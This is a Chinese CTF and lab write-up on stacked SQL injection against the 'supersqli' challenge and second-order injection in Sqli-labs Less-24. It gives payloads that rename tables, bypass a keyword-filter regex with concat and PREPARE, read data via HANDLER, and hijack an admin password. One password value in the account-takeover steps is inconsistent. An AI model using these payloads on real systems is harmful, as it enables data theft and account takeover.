目录
判断是否有注入点:
判断字段数:
判断字段的注入点:
堆叠注入原理:
堆叠注入触发条件:
使用第二种方法:
第三种方法:
二次注入,Sqli-labs之Less-24
1' and 1=1 --+
1' and 1=2 --+
1' order by 3 --+
1' order by 2 --+
确定有两个字段
1' union select 1,2 --+
提示:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这段代码是使用 PHP 语言编写的一个正则表达式,用于检测变量 $inject 中是否包含一些常见的 SQL 注入攻击关键字。具体来说,它通过 preg_match() 函数匹配字符串 $inject 中是否存在以下关键字(不区分大小写):
select: 查询关键字。
update: 更新关键字。
delete: 删除关键字。
drop: 删除表关键字。
insert: 插入关键字。
where: 查询条件关键字。
.: 正则表达式中的特殊字符,可能被用于注入攻击。
如果匹配成功,则返回 1,表示存在注入风险;如果匹配失败,则返回 0,表示不存在注入风险。这段代码的目的是通过检测输入变量中是否包含这些关键字来识别潜在的 SQL 注入攻击,并采取相应的安全防护措施。
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、改,其他语句也同理,所以可以说我们能够注入的十分有限。
但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就 不受前面语句的限制可以为所欲为了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句 结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。
进行堆叠注入:
(1)爆库名:1' ;show databases;--+
(2)页面显示6个数据库:ctftraining、information_schema、mysql、performance_schema、supersqli、test
(3)爆表名:1' ;show databases; show tables;--+
(4)(当前数据库为:supersqli)页面显示两个表:1919810931114514、words
爆字段:1' ;show columns from `1919810931114514`; show columns from `words` ;--+
(1)我们需要的flag在1919810931114514这张表里面
(2)而1919810931114514只有一个字段,但是show是无法直接查看值的内容的
(3)所以要输出‘1919810931114514’表中的flag的值,有一种攻击思路是改表名
(4)先把表words改成其他的表名如test,然后再把表1919810931114514重命名为words
把flag字段改为id字段或者添加一个id字段
爆flag:
(1)把表words改成其他的表名如test:rename tables `words` to `test`;
(2)然后再把表1919810931114514重命名为words:rename tables `1919810931114514` to `words`;
(3)把flag字段改为id字段: alter table `words` change column `flag` `id` varchar(100);
(4)合起来的搜索语句就是:1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change column `flag` `id` varchar(100);--+
(5)执行之后没有报错。再查看当前表中的所有数据:1' or 1=1--+
(6)得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
(7)现在看表以及列的影响:1'; show tables;--+
test表就是原words表中的内容、words表就是原1919810931114514中的内容,且flag字段已经被我们改成了id字段。
(1)使用handler查询:mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据
(2)后台只是过滤了select|update|delete|drop|insert|where关键字,没有过滤handler,尝试:1';handler `1919810931114514`open as target;handler target read next;
(3)得到flag:"flag{c168d583ed0d4d7196967b28cbd0b5e9}"
(1)预编译:预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化
(2)PREPARE stmt_name FROM preparable_stmt; 解释一下,定义的时候stmt_name是变量名,代表这个SQL语句,preparable_stmt代表的是预留的SQL语句中的参数位置
(3)PREPARE test FROM ‘SELECT (? + ?)’;//即定义了一个两数相加的SQL预编译语句
(4)执行时,@var_name即变量,可以带入语句中进行执行,如:
(5)SET @a = 1,@b = 2;//给变量赋值
(6)EXECUTE test USING @a,@b;//执行
(7)拆分开来就是:
(8)-1’;
(9)set @sql = concat(‘sel’,‘ect * from 1919810931114514;’); 定义一个@sql变量,在后台运行的时候使用concat将sel 和ect连接起来
(10)prepare stmt from @sql; //定义stmt变量指向预编译@sql语句
(11)execute stmt; # //执行stmt变量
(12)合并起来一起运行就是:
(13)1';Set @sql = concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;
(14)得到flag: "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
二次注入原理:利用新建账户中的’或者其他sql语句,在更新密码等操作时达到修改某个原特定账户的目的
第24关关键代码:pass_change.php
(1)$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
(2)这就会把原来的username拼接到更新的sql语句中然后更新密码。造成二次注入
新建用户
(1)点击new user click here?
(2)首先新建一个用户,用户名为:admin’# 密码为:123321
(3)然后登录-----登录成功
数据库中显示新用户创建成功
页面显示登录成功后可以更改密码
(1)更改密码这一步
(2)只需要满足username=admin即可更新,这样就达到了我们通过创建的新用户来更新管理员账户的目的
(3)更改的sql语句大概是这样的UPDATE users SET PASSWORD='111111' where username='admin' #'XXXXXX
(4)点击reset按钮,提示更改成功
(5)尝试使用admin & 111222 进行登录
先进行数据库的前后对比
已经成功登陆进了管理员账户
(1)显然刚刚的更新密码操作过程执行的语句为:
UPDATE users SET PASSWORD='111222' where username='admin' #' and password='123321'
(2)就成功的将管理员账户的密码修改了